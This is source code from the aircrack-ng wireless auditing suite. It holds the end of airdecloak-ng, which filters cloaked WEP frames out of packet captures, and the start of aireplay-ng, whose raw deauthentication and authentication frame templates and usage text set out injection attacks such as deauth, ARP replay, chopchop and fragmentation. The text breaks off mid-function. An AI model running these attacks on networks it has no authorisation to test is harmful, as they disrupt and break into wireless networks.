reset_current_packet_pointer_to_client_packet();
// while
puts("Not yet implemented");
return nb_packets;
}
static int CFC_filter_duplicate_iv(void)
{
unsigned char * ivs_table;
int nb_packets = 0;
puts("Cloaking - Duplicate IV filtering");
ivs_table = (unsigned char *) calloc(16777215, 1);
ALLEGE(ivs_table != NULL);
// 1. Get the list of all IV values (and number of duplicates
reset_current_packet_pointer();
do
{
if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
{
// In the array, there's as many elements as the number of possible
// IVs
// For each IV, increase by 1 the value of the IV position so that
// we can
// know if it was used AND the number of occurrences.
*(ivs_table + get_iv(_packet_elt_head->current)) += 1;
}
} while (next_packet_pointer() == true);
// 2. Remove duplicates
reset_current_packet_pointer();
do
{
if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
{
switch (_packet_elt_head->current->is_cloaked)
{
case POTENTIALLY_CLOAKED_FRAME:
// If the frame is potentially cloaked, mark it as cloaked
if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1)
{
_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
++nb_packets;
} //-V796
fallthrough;
case UKNOWN_FRAME_CLOAKING_STATUS:
// If unknown status, mark it as potentially cloaked
if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1)
{
_packet_elt_head->current->is_cloaked
= POTENTIALLY_CLOAKED_FRAME;
}
break;
case VALID_FRAME_UNCLOAKED:
break;
case CLOAKED_FRAME:
break;
default:
break;
}
}
} while (next_packet_pointer() == true);
free(ivs_table);
return nb_packets;
}
static char * status_format(int status)
{
size_t len = 19;
char * ret = (char *) calloc(1, (len + 1) * sizeof(char));
ALLEGE(ret != NULL);
char * rret;
switch (status)
{
case VALID_FRAME_UNCLOAKED:
strncpy(ret, "uncloaked", len + 1);
break;
case CLOAKED_FRAME:
strncpy(ret, "cloaked", len + 1);
break;
case POTENTIALLY_CLOAKED_FRAME:
strncpy(ret, "potentially cloaked", len + 1);
break;
case UKNOWN_FRAME_CLOAKING_STATUS:
strncpy(ret, "unknown cloaking", len + 1);
break;
default:
snprintf(ret, len + 1, "type %d", status);
break;
}
rret = (char *) realloc(ret, strlen(ret) + 1);
return (rret) ? rret : ret;
}
static int CFC_mark_all_frames_with_status_to(int original_status,
int new_status)
{
int nb_marked = 0;
char *from, *to;
from = status_format(original_status);
to = status_format(new_status);
printf("Cloaking - Marking all %s status frames as %s\n", from, to);
free(from);
free(to);
reset_current_packet_pointer();
do
{
if (_packet_elt_head->current->is_cloaked == original_status)
{
_packet_elt_head->current->is_cloaked = new_status;
++nb_marked;
}
} while (next_packet_pointer() == 1);
printf("%d frames marked\n", nb_marked);
return nb_marked;
}
static int CFC_filter_signal_duplicate_and_consecutive_sn(void)
{
int nb_marked = 0;
// This filter does not call all other filters but does a lot of checks
// and depending on these check decide if a packet is cloaked or not
puts("Cloaking - Filtering all packet with signal, duplicate and "
"consecutive SN filters");
puts("Not yet implemented");
return nb_marked;
}
// When checking do it on packet with the same direction (ToFroDS: 10 or 01)
// WDS/Ad hoc not implemented yet
/**
* Check for cloaking and mark the status all packets (Cloaked or uncloaked).
*/
static BOOLEAN check_for_cloaking(void)
{
int cur_filter;
int cur_filters = _filters;
puts("Cloaking - Start check");
// Parse all packets, then for each packet marked valid (or cloaked), check
// forward if any packet has
// an unknown status and same SN. If it's the case, mark the current packet
// CLOAKED
if (_options_disable_base_filter == 0)
{
// CFC_with_valid_packets_mark_others_with_identical_sn_cloaked();
CFC_base_filter();
}
// Apply all filter requested by the user in the requested order
// but do not forget to warn when there's no filter given.
while (cur_filters != 0)
{
cur_filter = cur_filters % 10;
cur_filters /= 10;
switch (cur_filter)
{
case FILTER_SIGNAL:
CFC_filter_signal();
break;
case FILTER_DUPLICATE_SN:
CFC_filter_duplicate_sn();
break;
case FILTER_DUPLICATE_SN_AP:
CFC_filter_duplicate_sn_ap();
break;
case FILTER_DUPLICATE_SN_CLIENT:
CFC_filter_duplicate_sn_client();
break;
case FILTER_CONSECUTIVE_SN:
CFC_filter_consecutive_sn();
break;
case FILTER_DUPLICATE_IV:
CFC_filter_duplicate_iv();
break;
case FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN:
CFC_filter_signal_duplicate_and_consecutive_sn();
break;
case 0:
puts("0 is not a valid filter number");
exit(1);
default:
printf("Filter %d not yet implemented\n", cur_filter);
exit(1);
}
}
// Marking of all unknown status packets uncloaked (MUST BE AT THE END)
CFC_mark_all_frames_with_status_to(UKNOWN_FRAME_CLOAKING_STATUS,
VALID_FRAME_UNCLOAKED);
// ... and the potentially cloaked cloaked
CFC_mark_all_frames_with_status_to(POTENTIALLY_CLOAKED_FRAME,
CLOAKED_FRAME);
return true;
}
// Return 1 on success
static BOOLEAN write_packets(void)
{
// Open files ...
FILE * invalid_status_file;
if (_filename_output_invalid != NULL)
invalid_status_file = init_new_pcap(_filename_output_invalid);
else
invalid_status_file = init_new_pcap("invalid_status.pcap");
_output_cloaked_packets_file = init_new_pcap(_filename_output_cloaked);
_output_clean_capture_file = init_new_pcap(_filename_output_filtered);
// ... and make sure opening was ok ...
if (_output_clean_capture_file == NULL)
{
printf("FATAL ERROR: Failed to open pcap for filtered packets\n");
if (_output_cloaked_packets_file != NULL)
{
fclose(_output_cloaked_packets_file);
}
if (invalid_status_file)
{
fclose(invalid_status_file);
invalid_status_file = NULL;
}
return false;
}
// ... for both.
if (_output_cloaked_packets_file == NULL)
{
printf("FATAL ERROR: Failed to open pcap for cloaked packets\n");
fclose(_output_clean_capture_file);
if (invalid_status_file)
{
fclose(invalid_status_file);
invalid_status_file = NULL;
}
return false;
}
puts("Writing packets to files");
reset_current_packet_pointer();
do
{
switch (_packet_elt_head->current->is_cloaked)
{
case CLOAKED_FRAME:
write_packet(_output_cloaked_packets_file,
_packet_elt_head->current);
break;
case VALID_FRAME_UNCLOAKED:
if (_packet_elt_head->current->is_dropped == 0)
{
write_packet(_output_clean_capture_file,
_packet_elt_head->current);
}
break;
default:
// Write them somewhere else
write_packet(invalid_status_file, _packet_elt_head->current);
printf("Error: Invalid packet cloaking status: %d\n",
_packet_elt_head->current->is_cloaked);
break;
}
} while (next_packet_pointer() == true);
puts("End writing packets to files");
// Close files
fclose(_output_cloaked_packets_file);
fclose(_output_clean_capture_file);
if (invalid_status_file) fclose(invalid_status_file);
return true;
}
// Return 1 on success
static BOOLEAN print_statistics(void) { return true; }
static void usage(void)
{
char * version_info = getVersion(
"Airdecloak-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
printf(
"\n"
" %s - (C) 2008-2022 Thomas d\'Otreppe\n"
" https://www.aircrack-ng.org\n"
"\n"
" usage: airdecloak-ng [options]\n"
"\n"
" options:\n"
"\n"
" Mandatory:\n"
" -i <file> : Input capture file\n"
" --ssid <ESSID> : ESSID of the network to filter\n"
" (not yet implemented)\n"
" or\n"
" --bssid <BSSID> : BSSID of the network to filter\n"
"\n"
" Optional:\n"
" -o <file> : Output packets (valid) file (default: "
"<src>-filtered.pcap)\n"
" -c <file> : Output packets (cloaked) file (default: "
"<src>-cloaked.pcap)\n"
" -u <file> : Output packets (unknown/ignored) file "
"(default: invalid_status.pcap)\n"
" --filters <filters> : Apply filters (separated by a comma). "
"Filters:\n"
" signal: Try to filter based on signal.\n"
" duplicate_sn: Remove all duplicate sequence "
"numbers\n"
" for both the AP and the client.\n"
" duplicate_sn_ap: Remove duplicate sequence number "
"for\n"
" the AP only.\n"
" duplicate_sn_client: Remove duplicate sequence number for "
"the\n"
" client only.\n"
" consecutive_sn: Filter based on the fact that IV "
"should\n"
" be consecutive (only for AP).\n"
" duplicate_iv: Remove all duplicate IV.\n"
" signal_dup_consec_sn: Use signal (if available), duplicate "
"and\n"
" consecutive sequence number "
"(filtering is\n"
" much more precise than using all "
"these\n"
" filters one by one).\n"
" --null-packets : Assume that null packets can be "
"cloaked.\n"
" (not yet implemented)\n"
" --disable-base-filter : Do not apply base filter.\n"
//" --disable-retry : Disable retry check, don't care about
// retry bit.\n"
" --drop-frag : Drop fragmented packets.\n"
"\n"
" --help : Displays this usage screen.\n"
"\n",
version_info);
free(version_info);
}
int main(int argc, char * argv[])
{
int temp = 0, option;
int manual_cloaked_fname = 0, manual_filtered_fname = 0;
//-V:tempBool:1048
BOOLEAN tempBool;
char * input_filename;
char * input_bssid;
char * filter_name;
// Initialize
input_bssid = NULL;
input_filename = NULL;
_is_wep = -1;
_output_cloaked_packets_file = NULL;
_output_clean_capture_file = NULL;
_input_file = NULL;
memset(_bssid, 0, 6);
_filters = 0;
_filename_output_invalid = NULL;
// Parse options
while (1)
{
int option_index = 0;
static const struct option long_options[]
= {{"essid", 1, 0, 'e'},
{"ssid", 1, 0, 'e'},
{"bssid", 1, 0, 'b'},
{"help", 0, 0, 'h'},
{"filter", 1, 0, 'f'},
{"filters", 1, 0, 'f'},
{"filtered", 1, 0, 'f'},
{"null-packets", 0, 0, 'n'},
{"null-packet", 0, 0, 'n'},
{"null_packets", 0, 0, 'n'},
{"null_packet", 0, 0, 'n'},
{"no-base-filter", 0, 0, 'a'},
{"disable-base-filter", 0, 0, 'a'},
//{"disable-retry", 0, 0, 'r'},
{"drop-frag", 0, 0, 'd'},
{"input", 1, 0, 'i'},
{"cloaked", 1, 0, 'c'},
{0, 0, 0, 0}};
option = getopt_long(
argc, argv, "e:b:hf:nbdi:c:o:u:", long_options, &option_index);
if (option < 0) break;
switch (option)
{
case ':':
case '?':
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
case 'a':
_options_disable_base_filter = 1;
break;
case 'i':
input_filename = optarg;
break;
case 'c':
if (optarg != NULL)
{
_filename_output_cloaked = optarg;
_filename_output_cloaked_len = strlen(optarg) + 16;
manual_cloaked_fname = 1;
}
break;
case 'o':
if (optarg != NULL)
{
_filename_output_filtered = optarg;
_filename_output_filtered_len = strlen(optarg) + 16;
manual_filtered_fname = 1;
}
break;
case 'u':
if (optarg != NULL) _filename_output_invalid = optarg;
break;
case 'b':
if (getmac(optarg, 1, _bssid))
{
puts("Failed to parse MAC address");
exit(EXIT_FAILURE);
}
input_bssid = optarg;
// make sure it was converted successfully
break;
case 'f':
// Filters
filter_name = strtok(optarg, ",");
temp = 1;
while (filter_name != NULL)
{
if (strcmp(filter_name, "signal") == 0
|| atoi(filter_name) == FILTER_SIGNAL)
{
_filters = _filters + (FILTER_SIGNAL * temp);
}
else if (strcmp(filter_name, "duplicate_sn") == 0
|| atoi(filter_name) == FILTER_DUPLICATE_SN)
{
_filters = _filters + (FILTER_DUPLICATE_SN * temp);
}
else if (strcmp(filter_name, "duplicate_sn_ap") == 0
|| atoi(filter_name) == FILTER_DUPLICATE_SN_AP)
{
_filters = _filters + (FILTER_DUPLICATE_SN_AP * temp);
}
else if (strcmp(filter_name, "duplicate_sn_client") == 0
|| atoi(filter_name) == FILTER_DUPLICATE_SN_CLIENT)
{
_filters
= _filters + (FILTER_DUPLICATE_SN_CLIENT * temp);
}
else if (strcmp(filter_name, "consecutive_sn") == 0
|| atoi(filter_name) == FILTER_CONSECUTIVE_SN)
{
_filters = _filters + (FILTER_CONSECUTIVE_SN * temp);
}
else if (strcmp(filter_name, "duplicate_iv") == 0
|| atoi(filter_name) == FILTER_DUPLICATE_IV)
{
_filters = _filters + (FILTER_DUPLICATE_IV * temp);
}
else if (
strcmp(filter_name, "signal_dup_consec_sn") == 0
|| atoi(filter_name)
== FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN)
{
_filters = _filters
+ (FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN
* temp);
}
else
{
usage();
puts("Invalid filter name");
exit(EXIT_FAILURE);
}
temp *= 10;
filter_name = strtok(NULL, ",");
}
break;
case 'd':
_options_drop_fragments = 1;
break;
case 'n':
_options_assume_null_packets_uncloaked = 1;
printf("'%c' option not yet implemented\n", option);
exit(EXIT_SUCCESS);
/*case 'r':
_options_disable_retry = 1;
printf("'%c' option not yet implemented\n", option);
exit(EXIT_SUCCESS);*/
case 'e':
printf("'%c' option not yet implemented\n", option);
exit(EXIT_SUCCESS);
case 'h':
usage();
exit(EXIT_SUCCESS);
default:
usage();
exit(EXIT_FAILURE);
}
}
if (input_filename == NULL)
{
usage();
puts("Missing input file");
exit(EXIT_FAILURE);
}
printf("Input file: %s\n", input_filename);
printf("BSSID: %s\n", input_bssid);
puts("");
// Open capture file
puts("Opening file");
_input_file = open_existing_pcap(input_filename);
if (_input_file == NULL)
{
return (EXIT_FAILURE);
}
// Create output filenames
if (manual_cloaked_fname == 0 || manual_filtered_fname == 0)
{
temp = strlen(input_filename);
if (!manual_cloaked_fname)
{
_filename_output_cloaked_len = temp + 9 + 5;
_filename_output_cloaked
= (char *) calloc(_filename_output_cloaked_len, 1);
ALLEGE(_filename_output_cloaked != NULL);
}
if (!manual_filtered_fname)
{
_filename_output_filtered_len = temp + 10 + 5;
_filename_output_filtered
= (char *) calloc(_filename_output_filtered_len, 1);
ALLEGE(_filename_output_filtered != NULL);
}
while (--temp > 0)
{
if (input_filename[temp] == '.') break;
}
// No extension
if (temp == 0)
{
if (!manual_cloaked_fname)
snprintf(_filename_output_cloaked,
_filename_output_cloaked_len,
"%s-cloaked.pcap",
input_filename);
if (!manual_filtered_fname)
snprintf(_filename_output_filtered,
_filename_output_filtered_len,
"%s-filtered.pcap",
input_filename);
}
else
{
if (!manual_cloaked_fname)
{
strlcpy(_filename_output_cloaked,
input_filename,
_filename_output_cloaked_len);
strlcat(_filename_output_cloaked,
"-cloaked.pcap",
_filename_output_cloaked_len);
}
if (!manual_filtered_fname)
{
strlcpy(_filename_output_filtered,
input_filename,
_filename_output_filtered_len);
strlcat(_filename_output_filtered,
"-filtered.pcap",
_filename_output_filtered_len);
}
}
}
printf("Output packets (valid) filename: %s\n", _filename_output_filtered);
printf("Output packets (cloaked) filename: %s\n", _filename_output_cloaked);
// 1. Read all packets and put the following in a linked list:
// Data and management packets only (filter out control packets)
// Packets where BSSID is the address given in parameter
// When we find a beacon, make sure the network is WEP
puts("Reading packets from file");
tempBool = read_packets();
fclose(_input_file);
if (tempBool != true)
{
printf("Failed reading packets: %d\n", temp);
return (EXIT_FAILURE);
}
// 2. Go through the list and mark all cloaked packets
puts("Checking for cloaked frames");
tempBool = check_for_cloaking();
if (tempBool != true)
{
printf("Checking for cloaking failed: %d\n", temp);
return (EXIT_FAILURE);
}
// 3. Write all data to output files
// Write packets
puts("Writing packets to files");
tempBool = write_packets();
if (tempBool != true)
{
printf("Writing packets failed: %d\n", temp);
return (EXIT_FAILURE);
}
// 4. Print some statistics
// - Is the network using WEP?
// - WEP cloaking in action?
// - Clients MACs
// - Number of data packets for the BSSID
// Number of good packets kept
// Number of cloaked packets removed
// - File names
print_statistics();
return (EXIT_SUCCESS);
} |
C/C++ | aircrack-ng/src/airdecloak-ng/airdecloak-ng.h | /*
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
* warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
* NON-INFRINGEMENT. See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. If you
* do not wish to do so, delete this exception statement from your
* version. If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifndef _AIRUNDEFENSE_H_
#define _AIRUNDEFENSE_H_
#include <stdbool.h>
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/support/common.h"
typedef bool BOOLEAN;
// How far should we check for cloaked packets (backward and forward)
#define PACKET_CHECKING_LENGTH 10
#define DIRECTION_BACKWARD 0
#define DIRECTION_FORWARD 1
#define UKNOWN_FRAME_CLOAKING_STATUS -1
#define VALID_FRAME_UNCLOAKED 0
#define CLOAKED_FRAME 2
#define POTENTIALLY_CLOAKED_FRAME 1
#define DROPPED_FRAME 3
// Weird frames are rejected before being checked atm
#define WEIRD_FRAME_TYPE 100
#define FRAME_TYPE_MANAGEMENT 0
#define FRAME_TYPE_CONTROL 1
#define FRAME_TYPE_DATA 2
#define BEACON_FRAME 0x80
#define PROBE_RESPONSE 0x50
#define AUTHENTICATION 0xB0
#define ASSOCIATION_REQUEST 0x00
#define ASSOCIATION_RESPONSE 0x10
#define NULL_FRAME 0x48
#define FILTER_SIGNAL 1
#define FILTER_DUPLICATE_SN 2
#define FILTER_DUPLICATE_SN_AP 3
#define FILTER_DUPLICATE_SN_CLIENT 4
#define FILTER_CONSECUTIVE_SN 5
#define FILTER_DUPLICATE_IV 6
#define FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN 7
#define getBit(pckt, startbit) getBits(pckt, startbit, 1)
#define get_iv(packet) \
((packet)->iv[0] + ((packet)->iv[1] * 256) + ((packet)->iv[2] * 256 * 256))
const int PACKET_HEADER_SIZE = sizeof(struct pcap_pkthdr);
struct packet_elt_header
{
struct packet_elt * first;
struct packet_elt * current;
struct packet_elt * last;
int nb_packets;
int average_signal; // Calculate the average signal (for later)
// Currently do it on management frames (or control frames); may change in
// the future.
} * _packet_elt_head;
struct packet_elt
{
struct pcap_pkthdr header; /* packet header */
unsigned char * packet; /* packet */
unsigned short
length; /* packet length, just to know how much to write to the file */
// A few interesting stuff coming from the packets
int fromDS;
int toDS;
int frame_type; /* MGMT, CTRL, DATA */
int frame_subtype; // Not yet filled but will do
unsigned char version_type_subtype; // First byte
unsigned char source[6];
unsigned char destination[6];
unsigned char bssid[6];
int sequence_number;
int fragment_number;
unsigned char iv[3];
unsigned char key_index;
unsigned char icv[4];
int signal_quality;
int retry_bit;
int more_fragments_bit;
int is_cloaked;
int is_dropped; // Do we have to drop this frame?
int complete; // 0: no, 1: yes
struct packet_elt * next;
struct packet_elt * prev;
};
// Not already used (partially maybe)
struct decloak_stats
{
unsigned long nb_read; /* # of packets read */
unsigned long nb_wep; /* # of WEP data packets */
unsigned long nb_bad; /* # of bad data packets */
unsigned long nb_wpa; /* # of WPA data packets */
unsigned long nb_plain; /* # of plaintext packets */
unsigned long nb_filt_wep; /* # of filtered WEP pkt */
unsigned long nb_cloak_wep; /* # of cloaked WEP pkt */
};
static void usage(void);
static int getBits(unsigned char b, int from, int length);
static FILE * openfile(const char * filename, const char * mode, int fatal);
static BOOLEAN write_packet(FILE * file, struct packet_elt * packet);
static FILE * init_new_pcap(const char * filename);
static FILE * open_existing_pcap(const char * filename);
static BOOLEAN read_packets(void);
static BOOLEAN initialize_linked_list(void);
static BOOLEAN add_node_if_not_complete(void);
static void set_node_complete(void);
static void remove_last_uncomplete_node(void);
static void reset_current_packet_pointer(void);
static BOOLEAN reset_current_packet_pointer_to_ap_packet(void);
static BOOLEAN reset_current_packet_pointer_to_client_packet(void);
static BOOLEAN next_packet_pointer(void);
static BOOLEAN next_packet_pointer_from_ap(void);
static BOOLEAN next_packet_pointer_from_client(void);
static int compare_SN_to_current_packet(struct packet_elt * packet);
static BOOLEAN
current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet);
static BOOLEAN
next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet);
static BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current(void);
static BOOLEAN write_packets(void);
static BOOLEAN print_statistics(void);
static char * status_format(int status);
static int get_average_signal_ap(void);
// Check for cloaking functions
static BOOLEAN check_for_cloaking(void); // Main cloaking check function
#define CFC_base_filter() \
CFC_with_valid_packets_mark_others_with_identical_sn_cloaked()
static int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(void);
static int CFC_mark_all_frames_with_status_to(int original_status,
int new_status);
static int CFC_filter_signal(void);
static int CFC_filter_duplicate_sn_ap(void);
static int CFC_filter_duplicate_sn_client(void);
static int CFC_filter_duplicate_sn(void);
static int CFC_filter_consecutive_sn(void);
static int CFC_filter_consecutive_sn_ap(void);
static int CFC_filter_consecutive_sn_client(void);
static int CFC_filter_duplicate_iv(void);
static int CFC_filter_signal_duplicate_and_consecutive_sn(void);
#endif |
C | aircrack-ng/src/aireplay-ng/aireplay-ng.c | /*
* 802.11 WEP replay & injection attacks
*
* Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
* Copyright (C) 2004, 2005 Christophe Devine
*
* WEP decryption attack (chopchop) developed by KoreK
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#if defined(linux)
#include <linux/rtc.h>
#endif
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <time.h>
#include <getopt.h>
#include <math.h>
#include <fcntl.h>
#include <ctype.h>
#include <limits.h>
#include "aircrack-ng/version.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/defs.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/utf8/verifyssid.h"
#include "aircrack-ng/tui/console.h"
#define RTC_RESOLUTION 8192
#define REQUESTS 30
#define MAX_APS 50
#define MAX_ARP_SLOTS 8
#define NEW_IV 1
#define RETRY 2
#define ABORT 3
#define DEAUTH_REQ \
"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \
"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
#define AUTH_REQ \
"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
#define ASSOC_REQ \
"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
#define REASSOC_REQ \
"\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
#define NULL_DATA \
"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
#define PROBE_REQ \
"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
static const char usage[] =
"\n"
" %s - (C) 2006-2022 Thomas d\'Otreppe\n"
" https://www.aircrack-ng.org\n"
"\n"
" usage: aireplay-ng <options> <replay interface>\n"
"\n"
" Filter options:\n"
"\n"
" -b bssid : MAC address, Access Point\n"
" -d dmac : MAC address, Destination\n"
" -s smac : MAC address, Source\n"
" -m len : minimum packet length\n"
" -n len : maximum packet length\n"
" -u type : frame control, type field\n"
" -v subt : frame control, subtype field\n"
" -t tods : frame control, To DS bit\n"
" -f fromds : frame control, From DS bit\n"
" -w iswep : frame control, WEP bit\n"
" -D : disable AP detection\n"
"\n"
" Replay options:\n"
"\n"
" -x nbpps : number of packets per second\n"
" -p fctrl : set frame control word (hex)\n"
" -a bssid : set Access Point MAC address\n"
" -c dmac : set Destination MAC address\n"
" -h smac : set Source MAC address\n"
" -g value : change ring buffer size (default: 8)\n"
" -F : choose first matching packet\n"
"\n"
" Fakeauth attack options:\n"
"\n"
" -e essid : set target AP SSID\n"
" -o npckts : number of packets per burst (0=auto, default: 1)\n"
" -q sec : seconds between keep-alives\n"
" -Q : send reassociation requests\n"
" -y prga : keystream for shared key auth\n"
" -T n : exit after retry fake auth request n time\n"
"\n"
" Arp Replay attack options:\n"
"\n"
" -j : inject FromDS packets\n"
"\n"
" Fragmentation attack options:\n"
"\n"
" -k IP : set destination IP in fragments\n"
" -l IP : set source IP in fragments\n"
"\n"
" Test attack options:\n"
"\n"
" -B : activates the bitrate test\n"
"\n"
" Source options:\n"
"\n"
" -i iface : capture packets from this interface\n"
" -r file : extract packets from this pcap file\n"
"\n"
" Miscellaneous options:\n"
"\n"
" -R : disable /dev/rtc usage\n"
" --ignore-negative-one : if the interface's channel can't be "
"determined,\n"
" ignore the mismatch, needed for unpatched "
"cfg80211\n"
" --deauth-rc rc : Deauthentication reason code [0-254] "
"(Default: 7)\n"
"\n"
" Attack modes (numbers can still be used):\n"
"\n"
" --deauth count : deauthenticate 1 or all stations (-0)\n"
" --fakeauth delay : fake authentication with AP (-1)\n"
" --interactive : interactive frame selection (-2)\n"
" --arpreplay : standard ARP-request replay (-3)\n"
" --chopchop : decrypt/chopchop WEP packet (-4)\n"
" --fragment : generates valid keystream (-5)\n"
" --caffe-latte : query a client for new IVs (-6)\n"
" --cfrag : fragments against a client (-7)\n"
" --migmode : attacks WPA migration mode (-8)\n"
" --test : tests injection and quality (-9)\n"
"\n"
" --help : Displays this usage screen\n"
"\n";
struct communication_options opt;
struct devices dev;
extern struct wif *_wi_in, *_wi_out;
extern uint8_t h80211[4096];
extern uint8_t tmpbuf[4096];
struct ARP_req
{
unsigned char * buf;
int hdrlen;
int len;
};
struct APt
{
unsigned char set;
unsigned char found;
unsigned char len;
unsigned char essid[255];
unsigned char bssid[6];
unsigned char chan;
unsigned int ping[REQUESTS];
int pwr[REQUESTS];
};
static struct APt ap[MAX_APS];
unsigned long nb_pkt_sent;
static unsigned char srcbuf[4096];
static char strbuf[512];
static const unsigned char ska_auth3[4096]
= "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\xc0\x01";
static int ctrl_c, alarmed;
static void sighandler(int signum)
{
if (signum == SIGINT) ctrl_c++;
if (signum == SIGALRM) alarmed++;
}
#ifdef XDEBUG
static int reset_ifaces(void)
{
// close interfaces
if (_wi_in != _wi_out)
{
if (_wi_in)
{
wi_close(_wi_in);
_wi_in = NULL;
}
if (_wi_out)
{
wi_close(_wi_out);
_wi_out = NULL;
}
}
else
{
if (_wi_out)
{
wi_close(_wi_out);
_wi_out = NULL;
_wi_in = NULL;
}
}
/* open the replay interface */
_wi_out = wi_open(opt.iface_out);
if (!_wi_out) return 1;
dev.fd_out = wi_fd(_wi_out);
/* open the packet source */
if (opt.s_face != NULL)
{
_wi_in = wi_open(opt.s_face);
if (!_wi_in) return 1;
dev.fd_in = wi_fd(_wi_in);
wi_get_mac(_wi_in, dev.mac_in);
}
else
{
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
/* XXX */
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
}
wi_get_mac(_wi_out, dev.mac_out);
return 0;
}
#endif
static int
xor_keystream(unsigned char * ph80211, unsigned char * keystream, int len)
{
REQUIRE(ph80211 != NULL);
REQUIRE(keystream != NULL);
int i = 0;
if (len <= 0 || len >= INT_MAX) return 0;
for (i = 0; i < len; i++)
{
ph80211[i] = ph80211[i] ^ keystream[i];
}
return 0;
}
static void my_read_sleep_cb(void)
{
(void) read_packet(_wi_in, h80211, sizeof(h80211), NULL);
}
static void send_fragments(unsigned char * packet,
int packet_len,
unsigned char * iv,
unsigned char * keystream,
int fragsize,
int ska)
{
REQUIRE(packet != NULL);
REQUIRE(packet_len > 0 && packet_len < INT_MAX);
REQUIRE(iv != NULL);
int t, u;
int data_size;
unsigned char frag[32 + fragsize];
int pack_size;
int header_size = 24;
data_size = packet_len - header_size;
packet[23] = rand_u8();
for (t = 0 + fragsize; t != 0; t += fragsize)
{
// Copy header
memcpy(frag, packet, header_size);
// Copy IV + KeyIndex
memcpy(frag + header_size, iv, 4);
// Copy data
if (fragsize <= packet_len - (header_size + t - fragsize))
memcpy(frag + header_size + 4,
